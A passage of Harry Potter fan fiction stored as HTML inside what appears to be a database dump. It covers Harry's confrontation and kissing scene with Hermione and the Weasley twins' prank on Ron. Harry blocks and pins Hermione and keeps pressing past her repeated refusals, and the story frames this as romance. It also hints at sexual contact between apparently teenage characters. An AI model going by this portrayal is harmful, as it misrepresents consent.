a\ndeep breath.&nbsp; &#8220;Oh all right fine.&#8221; The\nlittle fairy&#8217;s face brightened up and it flew up into the air doing some kind\nof back flip in the air.&nbsp; Hermione was\nsoon wearing the gown.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">One fairy\ninsisted on braiding Hermione&#8217;s hair while the two others made a ring of\ndaisies and placed it on top of her head.&nbsp;\nHermione took a deep breath and went back to reading.&nbsp; It was time to set the right scenery, and the\nfairies created a pond next to the tree with water lilies lying on the surface\nof the water.&nbsp; Next they created a soft\nmisty atmosphere if light purples, pinks, and oranges, it seemed that little\nsparkles were also in the mix of colors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The three fairies\nthen darted away from Hermione and towards the house where they greeted the\nother three.&nbsp; They gave each other a nod\nand went inside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;The six fairies swarmed into the kitchen where\nHarry and Ron will still working on their homework.&nbsp; Three of them watched as Harry put his wand\ndown on the table, and they went for it.&nbsp;\nHarry stretched up a minute he looked to the side and saw the fairies\npick up his wand. &#8220;Hey, stop that! Leave it alone!&#8221; He tried to grab for it,\nbut they zoomed across the table out of his reach.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron reached for\nHarry&#8217;s wand and the fairies, but he missed grabbing handfuls of nothing but\nair.&nbsp; The other three fairies, started\nflying circles around Ron, tight circles to where he had to pull his arms in an\nhold them down straight.&nbsp; He felt\nsomething tighten and go around him.&nbsp;\nWhen the fairies stopped circling him, he found himself in a strong\nbinding.&nbsp; A tiny, thin rope was around\nhim at least three times in three different places, his legs, his middle and his\nchest.&nbsp; He couldn&#8217;t move very well.&nbsp; Two of the fairies started giggling as they\nspun him around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He went around\nand around until he got so dizzy that he fell backwards onto the ground.&nbsp; The fairies giggled and one started braiding\nhis hair.&nbsp; He couldn&#8217;t swat at them this\ntime.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The three fairies\nholding Harry&#8217;s wand was flying about the room, Harry made several attempts\ninto getting his wand back.&nbsp; He was no\nmatch for them; they were too fast; he would have to outsmart them.&nbsp; He watched them heading for the screen door\nand he followed after slowly, he had plenty of time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry followed\nthe fairies outside, he came upon something he had never seen before at the\nBurrow, he wondered where it came from.&nbsp;\nThe air was misty with color and sparkles as he neared the pond.&nbsp; He saw someone sitting on the ground, by an\noak tree and a small pond.&nbsp; The person\nwas reading, it had to be Hermione.&nbsp; He\nstepped closer, she was wearing something different, for some reason it made\nhim want to get a better look<i style="mso-bidi-font-style:normal"> &#8216;WOW!&#8217;</i>\nAll his thoughts spoke at once. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The world seemed\nto be in slow motion as Hermione turned the page of her book and continued\nreading.&nbsp; Her hair was braided showing\noff her lovely face, her legs were tucked and curled around and slightly to the\nside.&nbsp; Her arms were bare as there were\nno sleeves on her gown, which scooped down in front.&nbsp; Not enough to be obscene, just enough to\nenhance what she had.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry stepped\ntowards her again, Crack! He stepped on some kind of branch and Hermione&#8217;s head\nsnapped around and she saw him.&nbsp; He stood\nthere, not moving. Harry watched as Hermione got to her feet, her white gown\ncascaded down her legs, covering them. Around her waste was a simple belt of\nspun silver.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione wondered\nwhy he was standing there, did he come to talk to her about what happened?&nbsp; She couldn&#8217;t figure out what he was up\nto.&nbsp; But he just stood there, much like\nwhat he was doing inside the house.&nbsp; Just\nstaying silent and ignoring her.&nbsp; She\ncouldn&#8217;t take that anymore.&nbsp; It seemed as\nif he didn&#8217;t even want to be her friend anymore, That had to be it, he came to\ntell her that their friendship was over.&nbsp;\nFine if that&#8217;s what he wanted, that&#8217;s what he&#8217;ll get. She shook her head\nglancing down at the grass-covered ground.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry waited, he\nsaw her head shake slowly back and forth.&nbsp;\nShe turned around, her back to him.&nbsp;\nHe knew she was going to leave.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Do something!!&#8217;</i> His mind shouted.&nbsp; He was so confused, what could he do.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;She&#8217;s\nleaving.&#8217;</i> His mind paused. <i style="mso-bidi-font-style:normal">&#8216;Forever.&#8217;\n</i>It said in a quiet voice.&nbsp; He watched\nher walking away from him; she didn&#8217;t get very far when a light seemed to flash\non in his mind. &#8220;Hermione, wait a minute!&#8221; He shouted to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione didn&#8217;t\nstop; she didn&#8217;t turn around to face him.&nbsp;\nShe just kept on walking.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry knew she\ncould be stubborn, so he started walking after her, it seemed to him as he\ntried to catch up to her that she quickened her pace.&nbsp; He didn&#8217;t like this; it was as if she was\nrunning away from him,&nbsp;she started to go faster.&nbsp; She even changed directions, her legs\ncarrying her faster away.&nbsp; She was going\nto leave him, alone.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">NO WAY</i><i style="mso-bidi-font-style:normal">!!&#8217;</i>&nbsp; He picked up his\npace; she was not going to get away.&nbsp; He\nsaw her break out into a full-blown run, as now did he.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">His legs carried\nhim faster as they were longer, and he finally reached her he out ran her and\njumped in front of her causing her to stop.&nbsp;\nShe tried to go around him, but he still managed to stand in her\nway.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Leave me alone.&#8221;\nShe said still trying to get around him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry shook his\nhead, &#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes, get out of\nmy way.&#8221; She tried to turn around and go in the opposite direction, but he spun\naround her and again was in her way.&nbsp;\n&#8220;Would you stop this? Just let me pass.&#8221; She was irritated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No.&#8221; Harry said,\ncrossing his arms over his chest, trying to show his determination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry, if you\ndon&#8217;t let me pass I will be forced to hurt you.&#8221; She said in a very serious\ntone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Just tell me one\nthing, why were you running away from me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Cause I&#8217;m done\nwith you, you&#8217;re confusing the hell out of me and I don&#8217;t like it. I don&#8217;t like\nfeeling&#8212;&#8221; She cut herself off, she didn&#8217;t have to explain anything to him.&nbsp; &#8220;It&#8217;s not worth it to me, okay. Now don&#8217;t try\nto stop me and let me pass.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You think you&#8217;re\nthe only one confused, well you are so wrong there.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione took a\ndeep breath, &#8220;Look I just don&#8217;t care anymore.&nbsp;\nI&#8217;m tired and I just want, well I want.&#8221; She glanced down at her feet,\n&#8220;I just don&#8217;t want anything to do with you.&#8221;&nbsp;\nShe turned away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You&#8217;re a\nterrible liar Hermione.&#8221;&nbsp; Harry knew she\ndidn&#8217;t mean anything of what she was saying, she was only masking her emotions,\nhe had made her feel really bad and worthless he knew that now.&nbsp; He was going to correct his mistake.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well there you\nhave it; I&#8217;m not perfect as you all say I am.&#8221; Hermione started to walk away,\ntears were swelling in her eyes and she quickly wiped them away.&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry started\nafter her again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione was\nalmost out the house she realized that she had run around the property in a way\nthat she ended up near the side of the house instead of the front.&nbsp; She moved to go around to the front when some\none grabbed her arm and pushed her gently against the wall.&nbsp; She was tired of this she kept telling him to\nleave her alone, but he just wasn&#8217;t listening.&nbsp;\nHermione looked up at him, her eyes narrowed and her temper\nboiling.&nbsp; &#8220;Why can&#8217;t you just leave me\nalone, like a normal person? Why can&#8217;t you just go away?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Cause I don&#8217;t\nwant to go away.&#8221; Harry said quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8217;m tired of\nthis, I don&#8217;t like to play games like this. I&#8217;m not Parvati, I&#8217;m not Lavender\nand I&#8217;m not Ginny. I don&#8217;t like what you&#8217;re doing now stop it and leave me\nalone!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;All right, I&#8217;ll\nleave you alone. If you do one thing.&#8221; He was very serious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What&#8217;s that?&#8221;\nHermione was exhausted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Let me kiss\nyou.&#8221; Harry said quietly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione shook\nher head, &#8220;Have you lost your mind?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No.&#8221; He simply\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well, no, no you\ncan&#8217;t.&#8221; Hermione said quickly. She remembered what it was like the first\ntime.&nbsp; The absolute look of horror on his\nface, oh she didn&#8217;t want to see that again, ever.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He stared\ndirectly into her eyes &#8220;Just let me.&#8221; He inched closer to her, effectively\npinning her to the wall.&nbsp; His hands\nframed her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No.&#8221; She lightly\nshook her head back and forth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes.&#8221; He\nwhispered as his mouth neared hers, hovering inches above.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No.&#8221; She\nwhispered lightly her heartbeat raced and she felt her chest tighten.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Just once?&#8221; He\nasked still hovering so very close.&nbsp; He\nwouldn&#8217;t kiss her until he had her say yes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione wanted\nto say no but the words that came out of her mouth were &#8220;Yes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He didn&#8217;t wait\nany longer, his mouth closed over hers.&nbsp;\nHe kissed her softly as first, just his lips lightly playing against\nhers.&nbsp; Oh this felt so wonderful, her\nlips were so soft like silk roses. But he still didn&#8217;t want to push her, so he\npulled back.&nbsp; Her cheeks were slightly\nflushed, and her eyes slowly opened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry searched\nher eyes; a question was in his own.&nbsp; He\nwanted to do it again, and he saw in her eyes that she wanted also wanted\ntoo.&nbsp; Maybe less than a second passed as\nhis mouth was once again on hers, but this time it was different.&nbsp; His kiss was a bit harder and a little more\nconfident, they fell back against the side of the house and Hermione opened her\nmouth on a gasp as she was pressed up against the house.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She felt his\ntongue enter her mouth and touch hers, sending a pleasant tingly sensation\nthrough her entire body.&nbsp; She felt\nherself responding and returning his kiss, her heart was reeling, and her head\nwas spinning.&nbsp; She loved this feeling,\nand wanted more.&nbsp; She felt his tongue\nrake hers in his urgency.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">========</p>\n\n<p class="MsoNormal">Ahhh I know I&#8217;m leaving you in the middle of the kissing scene.\n*snigger* don&#8217;t worry it&#8217;s all good. Well I hope you stay tuned for chapter 6.\nPlease read and review thanks, Ryoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(14, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Disclaimer: All original Harry Potter\ncharacters belong to J.K. Rowlings, not me. *sigh* Oh\nwell</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">One Hot Summer</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">Chapter 6&#8212; Oh My Love</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione loved\nthis feeling, and wanted more.&nbsp; She felt his tongue rake hers in his\nurgency.&nbsp; The need for air became too much to bear and she pulled\naway.&nbsp; Her breathing was harsh, as was his.</p>\n\n<p class="MsoBodyTextIndent">Harry\nwas watching her closely; he didn&#8217;t like it at all when she was walking away\nfrom him like that.&nbsp; He knew something had changed, he didn&#8217;t know exactly\nwhen this change occurred to him, he just knew that he didn&#8217;t want to be\nwithout her. Harry wanted her to be the one that smiled back at him every\nmorning.&nbsp; He actually wanted to hear the words I love you from her.&nbsp;\n&#8220;Hermione, please forgive me for last night and today, I was scared and I\ndidn&#8217;t know what to do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione glanced\ndown at her feet, &#8220;I just don&#8217;t know what to do anymore, I mean you can&#8217;t erase\nthat look you had on your face last night.&nbsp; You have no idea how much that\nhurt. It was like I was some kind of disgusting wretch that wasn&#8217;t good enough\nfor you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No, no. It\nwasn&#8217;t that at all.&#8221;&nbsp; He took her hand, &#8220;I was afraid that I over stepped\nmy bounds as a friend.&nbsp; I didn&#8217;t want to fall in love with you Hermione; I\ndon&#8217;t want to end up hurting you.&nbsp; You are not just some girl, you&#8217;re my\nbest friend &#8212;&#8221; He was interrupted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What?&#8221; Hermione\nsaid, &#8220;What did you just say?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry felt\nconfused, &#8220;That you&#8217;re my best friend.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No before that.&#8221;\nHermione looked up at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I don&#8217;t want to\nend up hurting you, cause you are&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\ninterrupted with a wave of her hand &#8220;No no, you\nsaid&#8230;&#8221; She paused taking in a breath.&nbsp; &#8220;Oh never mind, forget it.&#8221;&nbsp;\nHermione started to move away but Harry wouldn&#8217;t let her, he held on to her\nhand tighter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Don&#8217;t leave\nHermione; please I really, really want to talk about this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;It doesn&#8217;t\nmatter Harry, really. I know you don&#8217;t want me bothering you. So if I do stay\nclear of you, you won&#8217;t have to feel this way and you can move on with your\nlife and go find someone who&#8217;s more suited for you.&#8221; She attempted to turn away\nagain.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hermione, you\nare suited for me.&nbsp; No one else knows me like you do, you&#8217;ve seen me at my\nworst and my best.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Don&#8217;t say things\nyou don&#8217;t mean.&#8221; Hermione looked away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry quickly had\nher face in his hands and he was kissing her gently, he pulled back looking\ninto her eyes.&nbsp; &#8220;I wouldn&#8217;t say it if I didn&#8217;t mean it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But&#8212;&#8221; Hermione\nwas cut off again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No buts\nHermione.&#8221; Harry said and in a quick movement he pulled Hermione to him, his\narms wrapped around her crushing her against him.&nbsp; His mouth claimed hers\nand he felt her arms wrap around him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George&#8217;s\nmouths both dropped at the same time at them seeing both Harry and Hermione\nwrapped up in them selves.&nbsp;&nbsp; The twins had come out side to see why\nHermione had viscously snapped at Ron earlier, and then they were going to\nlaugh about it.&nbsp; They didn&#8217;t expect to find Harry and Hermione totally\ngoing at it on the side of the house.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George\nboth witnessed that Harry had Hermione pressed up against the house; her hands\nwere in his hair, moving about towards his shoulders.&nbsp; One of Harry&#8217;s\nhands couldn&#8217;t be seen, although a strap on her gown had fallen off her\nshoulder and was hanging loosely on her arm.&nbsp; A lot of her hair had been\nmessed and pulled from her braid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">George heard\nHermione gasp as Harry pulled his mouth from hers, and pressed his mouth\nagainst her neck, kissing her slowly, lightly sucking on the tender flesh\nthere.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred saw one of\nHarry&#8217;s hands on her waist and the other was inside her&#8212; &#8220;Oh my God!! We&#8217;re you\nexpecting something like this?&#8221; Fred asked his brother.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well not really,\nbut what did you expect?&nbsp; Everything Ron wanted to happen was happening\nwith Harry. And I think they are just overcome with hormones to really\nunderstand what&#8217;s going on.&#8221; George said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh I don&#8217;t think\nso dear brother, I think this has been building up for awhile.&#8221; Fred said, and\nthen his famous Weasley up-to-no-good smirk graced his face.&nbsp; &#8220;We should\ngo and get Ron, this would be one of the greatest looks and disappointments on\nhis face we could ever hope to achieve.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I don&#8217;t know\nFred, this just seems cruel. Even for us.&#8221; George said looking unsure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh come on\nGeorge, you&#8217;re not losing your edge are you?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;No.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Then come on, we\nhave to do this.&#8221; Fred said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What exactly\nwill this teach Ron?&nbsp; The other things were just fine.&nbsp; But this,\nthis is just right out horribly cruel.&#8221; George liked a good prank, but this was\ngoing beyond pranks.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Look I know he\ndoesn&#8217;t really love Hermione, he just thinks he does.&nbsp; We both know it&#8217;s\njust lust.&nbsp; We are helping him get over his desire. Remember nothing on\nthat list of his said anything about love.&nbsp; Now come on.&#8221; Fred said and he\nstarted into the house.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">George sighed, he\nsuddenly felt really sorry for Ron.&nbsp; But he followed his brother anyway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred and George\nwalked into the living room to find Ron on the floor tied up with braided\nhair.&nbsp; There were sparkly lipstick marks all over his face.&nbsp; Ron\nlifted his head looking at his brothers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;GET ME OUT OF\nTHIS!!&#8221; Ron yelled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred got a knife\nfrom the kitchen and went towards Ron, he quickly sliced through the roped and\nRon got to his feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ron, have you\nbeen snogging the fairies?&#8221; George asked with a grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What?&#8221; Ron felt\nconfused.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I mean sure,\nthey are cute.&nbsp; But we always thought you would enjoy snogging\nwith the same species.&#8221; Fred said with a wink.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What are you\nbuffoons talking about?&#8221; Ron said his eyes narrowing.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ever hear of a\nmirror, go and see for yourself smart ass.&#8221; Fred replied.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron grunted and\nheaded towards the downstairs bathroom. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Four, three,\ntwo&#8221; George counted on his fingers. &#8220;One.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;AHHH!! WHAT THE\nHELL?!&nbsp; DAMN DIRTY FAIRIES!!&#8221; Ron&#8217;s voice echoed through the house.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron turned on the\ntap and water gushed out, he immediately cupped the water in his hands trying\nto get the lipstick off his face.&nbsp; He didn&#8217;t notice the water turn green\nwith gold and silver sparkles.&nbsp; He continued to wash his face with the\nwater.&nbsp; As soon as he was done he turned off the tap, with his eyes closed\nhe reached for the towel hanging on the rack.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">He grabbed the\ntowel and wiped his face dry.&nbsp; He opened his eyes to check out his\nreflection. &#8220;OH!!!!&#8221; He was so furious he couldn&#8217;t even think of a&#8212; &#8220;FUCK!!&#8221;\nRon shouted.&nbsp; Well then again maybe he could think of a word or two to\nsay.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron raced out of\nthe bathroom glaring at his brothers, &#8220;Look at what those stupid fairies have\ndone, they ruined my face.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">George was trying\nto hold in his laughter the best he could, &#8220;I&#8217;d say it&#8217;s a vast\nimprovement.&#8221;&nbsp; George couldn&#8217;t take it he doubled over and clutched his\nstomach, as he laughed so hard giving himself a stomachache.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Fred was laughing\nso hard; he noticed Ron&#8217;s face sparkled brightly, not to mention it was also green.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron was so mad\nthat he went up to his brothers and snapped the wet towel at Fred and George,\ngetting them both in the rear end.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;OWWW!!&#8221; The\ntwins said at the same time.</p>\n\n<p class="MsoNormal" 